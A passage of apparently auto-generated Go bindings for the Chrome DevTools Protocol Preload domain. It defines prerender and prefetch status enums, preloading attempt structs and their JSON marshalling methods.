func (t SpeculationTargetHint) MarshalEasyJSON(out *jwriter.Writer) {
|
||||
out.String(string(t))
|
||||
}
|
||||
|
||||
// MarshalJSON satisfies json.Marshaler.
|
||||
func (t SpeculationTargetHint) MarshalJSON() ([]byte, error) {
|
||||
return easyjson.Marshal(t)
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *SpeculationTargetHint) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch SpeculationTargetHint(v) {
|
||||
case SpeculationTargetHintBlank:
|
||||
*t = SpeculationTargetHintBlank
|
||||
case SpeculationTargetHintSelf:
|
||||
*t = SpeculationTargetHintSelf
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown SpeculationTargetHint value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
// UnmarshalJSON satisfies json.Unmarshaler.
|
||||
func (t *SpeculationTargetHint) UnmarshalJSON(buf []byte) error {
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
}
|
||||
|
||||
// IngAttemptKey a key that identifies a preloading attempt. The url used is
|
||||
// the url specified by the trigger (i.e. the initial URL), and not the final
|
||||
// url that is navigated to. For example, prerendering allows same-origin main
|
||||
// frame navigations during the attempt, but the attempt is still keyed with the
|
||||
// initial URL.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Preload#type-PreloadingAttemptKey
|
||||
type IngAttemptKey struct {
|
||||
LoaderID cdp.LoaderID `json:"loaderId"`
|
||||
Action SpeculationAction `json:"action"`
|
||||
URL string `json:"url"`
|
||||
TargetHint SpeculationTargetHint `json:"targetHint,omitempty"`
|
||||
}
|
||||
|
||||
// IngAttemptSource lists sources for a preloading attempt, specifically the
|
||||
// ids of rule sets that had a speculation rule that triggered the attempt, and
|
||||
// the BackendNodeIds of <a href> or <area href> elements that triggered the
|
||||
// attempt (in the case of attempts triggered by a document rule). It is
|
||||
// possible for multiple rule sets and links to trigger a single attempt.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Preload#type-PreloadingAttemptSource
|
||||
type IngAttemptSource struct {
|
||||
Key *IngAttemptKey `json:"key"`
|
||||
RuleSetIDs []RuleSetID `json:"ruleSetIds"`
|
||||
NodeIDs []cdp.BackendNodeID `json:"nodeIds"`
|
||||
}
|
||||
|
||||
// PrerenderFinalStatus list of FinalStatus reasons for Prerender2.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Preload#type-PrerenderFinalStatus
|
||||
type PrerenderFinalStatus string
|
||||
|
||||
// String returns the PrerenderFinalStatus as string value.
|
||||
func (t PrerenderFinalStatus) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// PrerenderFinalStatus values.
|
||||
const (
|
||||
PrerenderFinalStatusActivated PrerenderFinalStatus = "Activated"
|
||||
PrerenderFinalStatusDestroyed PrerenderFinalStatus = "Destroyed"
|
||||
PrerenderFinalStatusLowEndDevice PrerenderFinalStatus = "LowEndDevice"
|
||||
PrerenderFinalStatusInvalidSchemeRedirect PrerenderFinalStatus = "InvalidSchemeRedirect"
|
||||
PrerenderFinalStatusInvalidSchemeNavigation PrerenderFinalStatus = "InvalidSchemeNavigation"
|
||||
PrerenderFinalStatusNavigationRequestBlockedByCsp PrerenderFinalStatus = "NavigationRequestBlockedByCsp"
|
||||
PrerenderFinalStatusMainFrameNavigation PrerenderFinalStatus = "MainFrameNavigation"
|
||||
PrerenderFinalStatusMojoBinderPolicy PrerenderFinalStatus = "MojoBinderPolicy"
|
||||
PrerenderFinalStatusRendererProcessCrashed PrerenderFinalStatus = "RendererProcessCrashed"
|
||||
PrerenderFinalStatusRendererProcessKilled PrerenderFinalStatus = "RendererProcessKilled"
|
||||
PrerenderFinalStatusDownload PrerenderFinalStatus = "Download"
|
||||
PrerenderFinalStatusTriggerDestroyed PrerenderFinalStatus = "TriggerDestroyed"
|
||||
PrerenderFinalStatusNavigationNotCommitted PrerenderFinalStatus = "NavigationNotCommitted"
|
||||
PrerenderFinalStatusNavigationBadHTTPStatus PrerenderFinalStatus = "NavigationBadHttpStatus"
|
||||
PrerenderFinalStatusClientCertRequested PrerenderFinalStatus = "ClientCertRequested"
|
||||
PrerenderFinalStatusNavigationRequestNetworkError PrerenderFinalStatus = "NavigationRequestNetworkError"
|
||||
PrerenderFinalStatusCancelAllHostsForTesting PrerenderFinalStatus = "CancelAllHostsForTesting"
|
||||
PrerenderFinalStatusDidFailLoad PrerenderFinalStatus = "DidFailLoad"
|
||||
PrerenderFinalStatusStop PrerenderFinalStatus = "Stop"
|
||||
PrerenderFinalStatusSslCertificateError PrerenderFinalStatus = "SslCertificateError"
|
||||
PrerenderFinalStatusLoginAuthRequested PrerenderFinalStatus = "LoginAuthRequested"
|
||||
PrerenderFinalStatusUaChangeRequiresReload PrerenderFinalStatus = "UaChangeRequiresReload"
|
||||
PrerenderFinalStatusBlockedByClient PrerenderFinalStatus = "BlockedByClient"
|
||||
PrerenderFinalStatusAudioOutputDeviceRequested PrerenderFinalStatus = "AudioOutputDeviceRequested"
|
||||
PrerenderFinalStatusMixedContent PrerenderFinalStatus = "MixedContent"
|
||||
PrerenderFinalStatusTriggerBackgrounded PrerenderFinalStatus = "TriggerBackgrounded"
|
||||
PrerenderFinalStatusMemoryLimitExceeded PrerenderFinalStatus = "MemoryLimitExceeded"
|
||||
PrerenderFinalStatusDataSaverEnabled PrerenderFinalStatus = "DataSaverEnabled"
|
||||
PrerenderFinalStatusTriggerURLHasEffectiveURL PrerenderFinalStatus = "TriggerUrlHasEffectiveUrl"
|
||||
PrerenderFinalStatusActivatedBeforeStarted PrerenderFinalStatus = "ActivatedBeforeStarted"
|
||||
PrerenderFinalStatusInactivePageRestriction PrerenderFinalStatus = "InactivePageRestriction"
|
||||
PrerenderFinalStatusStartFailed PrerenderFinalStatus = "StartFailed"
|
||||
PrerenderFinalStatusTimeoutBackgrounded PrerenderFinalStatus = "TimeoutBackgrounded"
|
||||
PrerenderFinalStatusCrossSiteRedirectInInitialNavigation PrerenderFinalStatus = "CrossSiteRedirectInInitialNavigation"
|
||||
PrerenderFinalStatusCrossSiteNavigationInInitialNavigation PrerenderFinalStatus = "CrossSiteNavigationInInitialNavigation"
|
||||
PrerenderFinalStatusSameSiteCrossOriginRedirectNotOptInInInitialNavigation PrerenderFinalStatus = "SameSiteCrossOriginRedirectNotOptInInInitialNavigation"
|
||||
PrerenderFinalStatusSameSiteCrossOriginNavigationNotOptInInInitialNavigation PrerenderFinalStatus = "SameSiteCrossOriginNavigationNotOptInInInitialNavigation"
|
||||
PrerenderFinalStatusActivationNavigationParameterMismatch PrerenderFinalStatus = "ActivationNavigationParameterMismatch"
|
||||
PrerenderFinalStatusActivatedInBackground PrerenderFinalStatus = "ActivatedInBackground"
|
||||
PrerenderFinalStatusEmbedderHostDisallowed PrerenderFinalStatus = "EmbedderHostDisallowed"
|
||||
PrerenderFinalStatusActivationNavigationDestroyedBeforeSuccess PrerenderFinalStatus = "ActivationNavigationDestroyedBeforeSuccess"
|
||||
PrerenderFinalStatusTabClosedByUserGesture PrerenderFinalStatus = "TabClosedByUserGesture"
|
||||
PrerenderFinalStatusTabClosedWithoutUserGesture PrerenderFinalStatus = "TabClosedWithoutUserGesture"
|
||||
PrerenderFinalStatusPrimaryMainFrameRendererProcessCrashed PrerenderFinalStatus = "PrimaryMainFrameRendererProcessCrashed"
|
||||
PrerenderFinalStatusPrimaryMainFrameRendererProcessKilled PrerenderFinalStatus = "PrimaryMainFrameRendererProcessKilled"
|
||||
PrerenderFinalStatusActivationFramePolicyNotCompatible PrerenderFinalStatus = "ActivationFramePolicyNotCompatible"
|
||||
PrerenderFinalStatusPreloadingDisabled PrerenderFinalStatus = "PreloadingDisabled"
|
||||
PrerenderFinalStatusBatterySaverEnabled PrerenderFinalStatus = "BatterySaverEnabled"
|
||||
PrerenderFinalStatusActivatedDuringMainFrameNavigation PrerenderFinalStatus = "ActivatedDuringMainFrameNavigation"
|
||||
PrerenderFinalStatusPreloadingUnsupportedByWebContents PrerenderFinalStatus = "PreloadingUnsupportedByWebContents"
|
||||
PrerenderFinalStatusCrossSiteRedirectInMainFrameNavigation PrerenderFinalStatus = "CrossSiteRedirectInMainFrameNavigation"
|
||||
PrerenderFinalStatusCrossSiteNavigationInMainFrameNavigation PrerenderFinalStatus = "CrossSiteNavigationInMainFrameNavigation"
|
||||
PrerenderFinalStatusSameSiteCrossOriginRedirectNotOptInInMainFrameNavigation PrerenderFinalStatus = "SameSiteCrossOriginRedirectNotOptInInMainFrameNavigation"
|
||||
PrerenderFinalStatusSameSiteCrossOriginNavigationNotOptInInMainFrameNavigation PrerenderFinalStatus = "SameSiteCrossOriginNavigationNotOptInInMainFrameNavigation"
|
||||
PrerenderFinalStatusMemoryPressureOnTrigger PrerenderFinalStatus = "MemoryPressureOnTrigger"
|
||||
PrerenderFinalStatusMemoryPressureAfterTriggered PrerenderFinalStatus = "MemoryPressureAfterTriggered"
|
||||
PrerenderFinalStatusPrerenderingDisabledByDevTools PrerenderFinalStatus = "PrerenderingDisabledByDevTools"
|
||||
PrerenderFinalStatusSpeculationRuleRemoved PrerenderFinalStatus = "SpeculationRuleRemoved"
|
||||
PrerenderFinalStatusActivatedWithAuxiliaryBrowsingContexts PrerenderFinalStatus = "ActivatedWithAuxiliaryBrowsingContexts"
|
||||
PrerenderFinalStatusMaxNumOfRunningEagerPrerendersExceeded PrerenderFinalStatus = "MaxNumOfRunningEagerPrerendersExceeded"
|
||||
PrerenderFinalStatusMaxNumOfRunningNonEagerPrerendersExceeded PrerenderFinalStatus = "MaxNumOfRunningNonEagerPrerendersExceeded"
|
||||
PrerenderFinalStatusMaxNumOfRunningEmbedderPrerendersExceeded PrerenderFinalStatus = "MaxNumOfRunningEmbedderPrerendersExceeded"
|
||||
PrerenderFinalStatusPrerenderingURLHasEffectiveURL PrerenderFinalStatus = "PrerenderingUrlHasEffectiveUrl"
|
||||
PrerenderFinalStatusRedirectedPrerenderingURLHasEffectiveURL PrerenderFinalStatus = "RedirectedPrerenderingUrlHasEffectiveUrl"
|
||||
PrerenderFinalStatusActivationURLHasEffectiveURL PrerenderFinalStatus = "ActivationUrlHasEffectiveUrl"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
func (t PrerenderFinalStatus) MarshalEasyJSON(out *jwriter.Writer) {
|
||||
out.String(string(t))
|
||||
}
|
||||
|
||||
// MarshalJSON satisfies json.Marshaler.
|
||||
func (t PrerenderFinalStatus) MarshalJSON() ([]byte, error) {
|
||||
return easyjson.Marshal(t)
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *PrerenderFinalStatus) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch PrerenderFinalStatus(v) {
|
||||
case PrerenderFinalStatusActivated:
|
||||
*t = PrerenderFinalStatusActivated
|
||||
case PrerenderFinalStatusDestroyed:
|
||||
*t = PrerenderFinalStatusDestroyed
|
||||
case PrerenderFinalStatusLowEndDevice:
|
||||
*t = PrerenderFinalStatusLowEndDevice
|
||||
case PrerenderFinalStatusInvalidSchemeRedirect:
|
||||
*t = PrerenderFinalStatusInvalidSchemeRedirect
|
||||
case PrerenderFinalStatusInvalidSchemeNavigation:
|
||||
*t = PrerenderFinalStatusInvalidSchemeNavigation
|
||||
case PrerenderFinalStatusNavigationRequestBlockedByCsp:
|
||||
*t = PrerenderFinalStatusNavigationRequestBlockedByCsp
|
||||
case PrerenderFinalStatusMainFrameNavigation:
|
||||
*t = PrerenderFinalStatusMainFrameNavigation
|
||||
case PrerenderFinalStatusMojoBinderPolicy:
|
||||
*t = PrerenderFinalStatusMojoBinderPolicy
|
||||
case PrerenderFinalStatusRendererProcessCrashed:
|
||||
*t = PrerenderFinalStatusRendererProcessCrashed
|
||||
case PrerenderFinalStatusRendererProcessKilled:
|
||||
*t = PrerenderFinalStatusRendererProcessKilled
|
||||
case PrerenderFinalStatusDownload:
|
||||
*t = PrerenderFinalStatusDownload
|
||||
case PrerenderFinalStatusTriggerDestroyed:
|
||||
*t = PrerenderFinalStatusTriggerDestroyed
|
||||
case PrerenderFinalStatusNavigationNotCommitted:
|
||||
*t = PrerenderFinalStatusNavigationNotCommitted
|
||||
case PrerenderFinalStatusNavigationBadHTTPStatus:
|
||||
*t = PrerenderFinalStatusNavigationBadHTTPStatus
|
||||
case PrerenderFinalStatusClientCertRequested:
|
||||
*t = PrerenderFinalStatusClientCertRequested
|
||||
case PrerenderFinalStatusNavigationRequestNetworkError:
|
||||
*t = PrerenderFinalStatusNavigationRequestNetworkError
|
||||
case PrerenderFinalStatusCancelAllHostsForTesting:
|
||||
*t = PrerenderFinalStatusCancelAllHostsForTesting
|
||||
case PrerenderFinalStatusDidFailLoad:
|
||||
*t = PrerenderFinalStatusDidFailLoad
|
||||
case PrerenderFinalStatusStop:
|
||||
*t = PrerenderFinalStatusStop
|
||||
case PrerenderFinalStatusSslCertificateError:
|
||||
*t = PrerenderFinalStatusSslCertificateError
|
||||
case PrerenderFinalStatusLoginAuthRequested:
|
||||
*t = PrerenderFinalStatusLoginAuthRequested
|
||||
case PrerenderFinalStatusUaChangeRequiresReload:
|
||||
*t = PrerenderFinalStatusUaChangeRequiresReload
|
||||
case PrerenderFinalStatusBlockedByClient:
|
||||
*t = PrerenderFinalStatusBlockedByClient
|
||||
case PrerenderFinalStatusAudioOutputDeviceRequested:
|
||||
*t = PrerenderFinalStatusAudioOutputDeviceRequested
|
||||
case PrerenderFinalStatusMixedContent:
|
||||
*t = PrerenderFinalStatusMixedContent
|
||||
case PrerenderFinalStatusTriggerBackgrounded:
|
||||
*t = PrerenderFinalStatusTriggerBackgrounded
|
||||
case PrerenderFinalStatusMemoryLimitExceeded:
|
||||
*t = PrerenderFinalStatusMemoryLimitExceeded
|
||||
case PrerenderFinalStatusDataSaverEnabled:
|
||||
*t = PrerenderFinalStatusDataSaverEnabled
|
||||
case PrerenderFinalStatusTriggerURLHasEffectiveURL:
|
||||
*t = PrerenderFinalStatusTriggerURLHasEffectiveURL
|
||||
case PrerenderFinalStatusActivatedBeforeStarted:
|
||||
*t = PrerenderFinalStatusActivatedBeforeStarted
|
||||
case PrerenderFinalStatusInactivePageRestriction:
|
||||
*t = PrerenderFinalStatusInactivePageRestriction
|
||||
case PrerenderFinalStatusStartFailed:
|
||||
*t = PrerenderFinalStatusStartFailed
|
||||
case PrerenderFinalStatusTimeoutBackgrounded:
|
||||
*t = PrerenderFinalStatusTimeoutBackgrounded
|
||||
case PrerenderFinalStatusCrossSiteRedirectInInitialNavigation:
|
||||
*t = PrerenderFinalStatusCrossSiteRedirectInInitialNavigation
|
||||
case PrerenderFinalStatusCrossSiteNavigationInInitialNavigation:
|
||||
*t = PrerenderFinalStatusCrossSiteNavigationInInitialNavigation
|
||||
case PrerenderFinalStatusSameSiteCrossOriginRedirectNotOptInInInitialNavigation:
|
||||
*t = PrerenderFinalStatusSameSiteCrossOriginRedirectNotOptInInInitialNavigation
|
||||
case PrerenderFinalStatusSameSiteCrossOriginNavigationNotOptInInInitialNavigation:
|
||||
*t = PrerenderFinalStatusSameSiteCrossOriginNavigationNotOptInInInitialNavigation
|
||||
case PrerenderFinalStatusActivationNavigationParameterMismatch:
|
||||
*t = PrerenderFinalStatusActivationNavigationParameterMismatch
|
||||
case PrerenderFinalStatusActivatedInBackground:
|
||||
*t = PrerenderFinalStatusActivatedInBackground
|
||||
case PrerenderFinalStatusEmbedderHostDisallowed:
|
||||
*t = PrerenderFinalStatusEmbedderHostDisallowed
|
||||
case PrerenderFinalStatusActivationNavigationDestroyedBeforeSuccess:
|
||||
*t = PrerenderFinalStatusActivationNavigationDestroyedBeforeSuccess
|
||||
case PrerenderFinalStatusTabClosedByUserGesture:
|
||||
*t = PrerenderFinalStatusTabClosedByUserGesture
|
||||
case PrerenderFinalStatusTabClosedWithoutUserGesture:
|
||||
*t = PrerenderFinalStatusTabClosedWithoutUserGesture
|
||||
case PrerenderFinalStatusPrimaryMainFrameRendererProcessCrashed:
|
||||
*t = PrerenderFinalStatusPrimaryMainFrameRendererProcessCrashed
|
||||
case PrerenderFinalStatusPrimaryMainFrameRendererProcessKilled:
|
||||
*t = PrerenderFinalStatusPrimaryMainFrameRendererProcessKilled
|
||||
case PrerenderFinalStatusActivationFramePolicyNotCompatible:
|
||||
*t = PrerenderFinalStatusActivationFramePolicyNotCompatible
|
||||
case PrerenderFinalStatusPreloadingDisabled:
|
||||
*t = PrerenderFinalStatusPreloadingDisabled
|
||||
case PrerenderFinalStatusBatterySaverEnabled:
|
||||
*t = PrerenderFinalStatusBatterySaverEnabled
|
||||
case PrerenderFinalStatusActivatedDuringMainFrameNavigation:
|
||||
*t = PrerenderFinalStatusActivatedDuringMainFrameNavigation
|
||||
case PrerenderFinalStatusPreloadingUnsupportedByWebContents:
|
||||
*t = PrerenderFinalStatusPreloadingUnsupportedByWebContents
|
||||
case PrerenderFinalStatusCrossSiteRedirectInMainFrameNavigation:
|
||||
*t = PrerenderFinalStatusCrossSiteRedirectInMainFrameNavigation
|
||||
case PrerenderFinalStatusCrossSiteNavigationInMainFrameNavigation:
|
||||
*t = PrerenderFinalStatusCrossSiteNavigationInMainFrameNavigation
|
||||
case PrerenderFinalStatusSameSiteCrossOriginRedirectNotOptInInMainFrameNavigation:
|
||||
*t = PrerenderFinalStatusSameSiteCrossOriginRedirectNotOptInInMainFrameNavigation
|
||||
case PrerenderFinalStatusSameSiteCrossOriginNavigationNotOptInInMainFrameNavigation:
|
||||
*t = PrerenderFinalStatusSameSiteCrossOriginNavigationNotOptInInMainFrameNavigation
|
||||
case PrerenderFinalStatusMemoryPressureOnTrigger:
|
||||
*t = PrerenderFinalStatusMemoryPressureOnTrigger
|
||||
case PrerenderFinalStatusMemoryPressureAfterTriggered:
|
||||
*t = PrerenderFinalStatusMemoryPressureAfterTriggered
|
||||
case PrerenderFinalStatusPrerenderingDisabledByDevTools:
|
||||
*t = PrerenderFinalStatusPrerenderingDisabledByDevTools
|
||||
case PrerenderFinalStatusSpeculationRuleRemoved:
|
||||
*t = PrerenderFinalStatusSpeculationRuleRemoved
|
||||
case PrerenderFinalStatusActivatedWithAuxiliaryBrowsingContexts:
|
||||
*t = PrerenderFinalStatusActivatedWithAuxiliaryBrowsingContexts
|
||||
case PrerenderFinalStatusMaxNumOfRunningEagerPrerendersExceeded:
|
||||
*t = PrerenderFinalStatusMaxNumOfRunningEagerPrerendersExceeded
|
||||
case PrerenderFinalStatusMaxNumOfRunningNonEagerPrerendersExceeded:
|
||||
*t = PrerenderFinalStatusMaxNumOfRunningNonEagerPrerendersExceeded
|
||||
case PrerenderFinalStatusMaxNumOfRunningEmbedderPrerendersExceeded:
|
||||
*t = PrerenderFinalStatusMaxNumOfRunningEmbedderPrerendersExceeded
|
||||
case PrerenderFinalStatusPrerenderingURLHasEffectiveURL:
|
||||
*t = PrerenderFinalStatusPrerenderingURLHasEffectiveURL
|
||||
case PrerenderFinalStatusRedirectedPrerenderingURLHasEffectiveURL:
|
||||
*t = PrerenderFinalStatusRedirectedPrerenderingURLHasEffectiveURL
|
||||
case PrerenderFinalStatusActivationURLHasEffectiveURL:
|
||||
*t = PrerenderFinalStatusActivationURLHasEffectiveURL
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown PrerenderFinalStatus value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
// UnmarshalJSON satisfies json.Unmarshaler.
|
||||
func (t *PrerenderFinalStatus) UnmarshalJSON(buf []byte) error {
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
}
|
||||
|
||||
// IngStatus preloading status values, see also PreloadingTriggeringOutcome.
|
||||
// This status is shared by prefetchStatusUpdated and prerenderStatusUpdated.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Preload#type-PreloadingStatus
|
||||
type IngStatus string
|
||||
|
||||
// String returns the IngStatus as string value.
|
||||
func (t IngStatus) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// IngStatus values.
|
||||
const (
|
||||
IngStatusPending IngStatus = "Pending"
|
||||
IngStatusRunning IngStatus = "Running"
|
||||
IngStatusReady IngStatus = "Ready"
|
||||
IngStatusSuccess IngStatus = "Success"
|
||||
IngStatusFailure IngStatus = "Failure"
|
||||
IngStatusNotSupported IngStatus = "NotSupported"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
func (t IngStatus) MarshalEasyJSON(out *jwriter.Writer) {
|
||||
out.String(string(t))
|
||||
}
|
||||
|
||||
// MarshalJSON satisfies json.Marshaler.
|
||||
func (t IngStatus) MarshalJSON() ([]byte, error) {
|
||||
return easyjson.Marshal(t)
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *IngStatus) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch IngStatus(v) {
|
||||
case IngStatusPending:
|
||||
*t = IngStatusPending
|
||||
case IngStatusRunning:
|
||||
*t = IngStatusRunning
|
||||
case IngStatusReady:
|
||||
*t = IngStatusReady
|
||||
case IngStatusSuccess:
|
||||
*t = IngStatusSuccess
|
||||
case IngStatusFailure:
|
||||
*t = IngStatusFailure
|
||||
case IngStatusNotSupported:
|
||||
*t = IngStatusNotSupported
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown IngStatus value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
// UnmarshalJSON satisfies json.Unmarshaler.
|
||||
func (t *IngStatus) UnmarshalJSON(buf []byte) error {
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
}
|
||||
|
||||
// PrefetchStatus tODO(https://crbug.com/1384419): revisit the list of
|
||||
// PrefetchStatus and filter out the ones that aren't necessary to the
|
||||
// developers.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Preload#type-PrefetchStatus
|
||||
type PrefetchStatus string
|
||||
|
||||
// String returns the PrefetchStatus as string value.
|
||||
func (t PrefetchStatus) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// PrefetchStatus values.
|
||||
const (
|
||||
PrefetchStatusPrefetchAllowed PrefetchStatus = "PrefetchAllowed"
|
||||
PrefetchStatusPrefetchFailedIneligibleRedirect PrefetchStatus = "PrefetchFailedIneligibleRedirect"
|
||||
PrefetchStatusPrefetchFailedInvalidRedirect PrefetchStatus = "PrefetchFailedInvalidRedirect"
|
||||
PrefetchStatusPrefetchFailedMIMENotSupported PrefetchStatus = "PrefetchFailedMIMENotSupported"
|
||||
PrefetchStatusPrefetchFailedNetError PrefetchStatus = "PrefetchFailedNetError"
|
||||
PrefetchStatusPrefetchFailedNon2xX PrefetchStatus = "PrefetchFailedNon2XX"
|
||||
PrefetchStatusPrefetchFailedPerPageLimitExceeded PrefetchStatus = "PrefetchFailedPerPageLimitExceeded"
|
||||
PrefetchStatusPrefetchEvicted PrefetchStatus = "PrefetchEvicted"
|
||||
PrefetchStatusPrefetchHeldback PrefetchStatus = "PrefetchHeldback"
|
||||
PrefetchStatusPrefetchIneligibleRetryAfter PrefetchStatus = "PrefetchIneligibleRetryAfter"
|
||||
PrefetchStatusPrefetchIsPrivacyDecoy PrefetchStatus = "PrefetchIsPrivacyDecoy"
|
||||
PrefetchStatusPrefetchIsStale PrefetchStatus = "PrefetchIsStale"
|
||||
PrefetchStatusPrefetchNotEligibleBrowserContextOffTheRecord PrefetchStatus = "PrefetchNotEligibleBrowserContextOffTheRecord"
|
||||
PrefetchStatusPrefetchNotEligibleDataSaverEnabled PrefetchStatus = "PrefetchNotEligibleDataSaverEnabled"
|
||||
PrefetchStatusPrefetchNotEligibleExistingProxy PrefetchStatus = "PrefetchNotEligibleExistingProxy"
|
||||
PrefetchStatusPrefetchNotEligibleHostIsNonUnique PrefetchStatus = "PrefetchNotEligibleHostIsNonUnique"
|
||||
PrefetchStatusPrefetchNotEligibleNonDefaultStoragePartition PrefetchStatus = "PrefetchNotEligibleNonDefaultStoragePartition"
|
||||
PrefetchStatusPrefetchNotEligibleSameSiteCrossOriginPrefetchRequiredProxy PrefetchStatus = "PrefetchNotEligibleSameSiteCrossOriginPrefetchRequiredProxy"
|
||||
PrefetchStatusPrefetchNotEligibleSchemeIsNotHTTPS PrefetchStatus = "PrefetchNotEligibleSchemeIsNotHttps"
|
||||
PrefetchStatusPrefetchNotEligibleUserHasCookies PrefetchStatus = "PrefetchNotEligibleUserHasCookies"
|
||||
PrefetchStatusPrefetchNotEligibleUserHasServiceWorker PrefetchStatus = "PrefetchNotEligibleUserHasServiceWorker"
|
||||
PrefetchStatusPrefetchNotEligibleBatterySaverEnabled PrefetchStatus = "PrefetchNotEligibleBatterySaverEnabled"
|
||||
PrefetchStatusPrefetchNotEligiblePreloadingDisabled PrefetchStatus = "PrefetchNotEligiblePreloadingDisabled"
|
||||
PrefetchStatusPrefetchNotFinishedInTime PrefetchStatus = "PrefetchNotFinishedInTime"
|
||||
PrefetchStatusPrefetchNotStarted PrefetchStatus = "PrefetchNotStarted"
|
||||
PrefetchStatusPrefetchNotUsedCookiesChanged PrefetchStatus = "PrefetchNotUsedCookiesChanged"
|
||||
PrefetchStatusPrefetchProxyNotAvailable PrefetchStatus = "PrefetchProxyNotAvailable"
|
||||
PrefetchStatusPrefetchResponseUsed PrefetchStatus = "PrefetchResponseUsed"
|
||||
PrefetchStatusPrefetchSuccessfulButNotUsed PrefetchStatus = "PrefetchSuccessfulButNotUsed"
|
||||
PrefetchStatusPrefetchNotUsedProbeFailed PrefetchStatus = "PrefetchNotUsedProbeFailed"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
func (t PrefetchStatus) MarshalEasyJSON(out *jwriter.Writer) {
|
||||
out.String(string(t))
|
||||
}
|
||||
|
||||
// MarshalJSON satisfies json.Marshaler.
|
||||
func (t PrefetchStatus) MarshalJSON() ([]byte, error) {
|
||||
return easyjson.Marshal(t)
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *PrefetchStatus) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch PrefetchStatus(v) {
|
||||
case PrefetchStatusPrefetchAllowed:
|
||||
*t = PrefetchStatusPrefetchAllowed
|
||||
case PrefetchStatusPrefetchFailedIneligibleRedirect:
|
||||
*t = PrefetchStatusPrefetchFailedIneligibleRedirect
|
||||
case PrefetchStatusPrefetchFailedInvalidRedirect:
|
||||
*t = PrefetchStatusPrefetchFailedInvalidRedirect
|
||||
case PrefetchStatusPrefetchFailedMIMENotSupported:
|
||||
*t = PrefetchStatusPrefetchFailedMIMENotSupported
|
||||
case PrefetchStatusPrefetchFailedNetError:
|
||||
*t = PrefetchStatusPrefetchFailedNetError
|
||||
case PrefetchStatusPrefetchFailedNon2xX:
|
||||
*t = PrefetchStatusPrefetchFailedNon2xX
|
||||
case PrefetchStatusPrefetchFailedPerPageLimitExceeded:
|
||||
*t = PrefetchStatusPrefetchFailedPerPageLimitExceeded
|
||||
case PrefetchStatusPrefetchEvicted:
|
||||
*t = PrefetchStatusPrefetchEvicted
|
||||
case PrefetchStatusPrefetchHeldback:
|
||||
*t = PrefetchStatusPrefetchHeldback
|
||||
case PrefetchStatusPrefetchIneligibleRetryAfter:
|
||||
*t = PrefetchStatusPrefetchIneligibleRetryAfter
|
||||
case PrefetchStatusPrefetchIsPrivacyDecoy:
|
||||
*t = PrefetchStatusPrefetchIsPrivacyDecoy
|
||||
case PrefetchStatusPrefetchIsStale:
|
||||
*t = PrefetchStatusPrefetchIsStale
|
||||
case PrefetchStatusPrefetchNotEligibleBrowserContextOffTheRecord:
|
||||
*t = PrefetchStatusPrefetchNotEligibleBrowserContextOffTheRecord
|
||||
case PrefetchStatusPrefetchNotEligibleDataSaverEnabled:
|
||||
*t = PrefetchStatusPrefetchNotEligibleDataSaverEnabled
|
||||
case PrefetchStatusPrefetchNotEligibleExistingProxy:
|
||||
*t = PrefetchStatusPrefetchNotEligibleExistingProxy
|
||||
case PrefetchStatusPrefetchNotEligibleHostIsNonUnique:
|
||||
*t = PrefetchStatusPrefetchNotEligibleHostIsNonUnique
|
||||
case PrefetchStatusPrefetchNotEligibleNonDefaultStoragePartition:
|
||||
*t = PrefetchStatusPrefetchNotEligibleNonDefaultStoragePartition
|
||||
case PrefetchStatusPrefetchNotEligibleSameSiteCrossOriginPrefetchRequiredProxy:
|
||||
*t = PrefetchStatusPrefetchNotEligibleSameSiteCrossOriginPrefetchRequiredProxy
|
||||
case PrefetchStatusPrefetchNotEligibleSchemeIsNotHTTPS:
|
||||
*t = PrefetchStatusPrefetchNotEligibleSchemeIsNotHTTPS
|
||||
case PrefetchStatusPrefetchNotEligibleUserHasCookies:
|
||||
*t = PrefetchStatusPrefetchNotEligibleUserHasCookies
|
||||
case PrefetchStatusPrefetchNotEligibleUserHasServiceWorker:
|
||||
*t = PrefetchStatusPrefetchNotEligibleUserHasServiceWorker
|
||||
case PrefetchStatusPrefetchNotEligibleBatterySaverEnabled:
|
||||
*t = PrefetchStatusPrefetchNotEligibleBatterySaverEnabled
|
||||
case PrefetchStatusPrefetchNotEligiblePreloadingDisabled:
|
||||
*t = PrefetchStatusPrefetchNotEligiblePreloadingDisabled
|
||||
case PrefetchStatusPrefetchNotFinishedInTime:
|
||||
*t = PrefetchStatusPrefetchNotFinishedInTime
|
||||
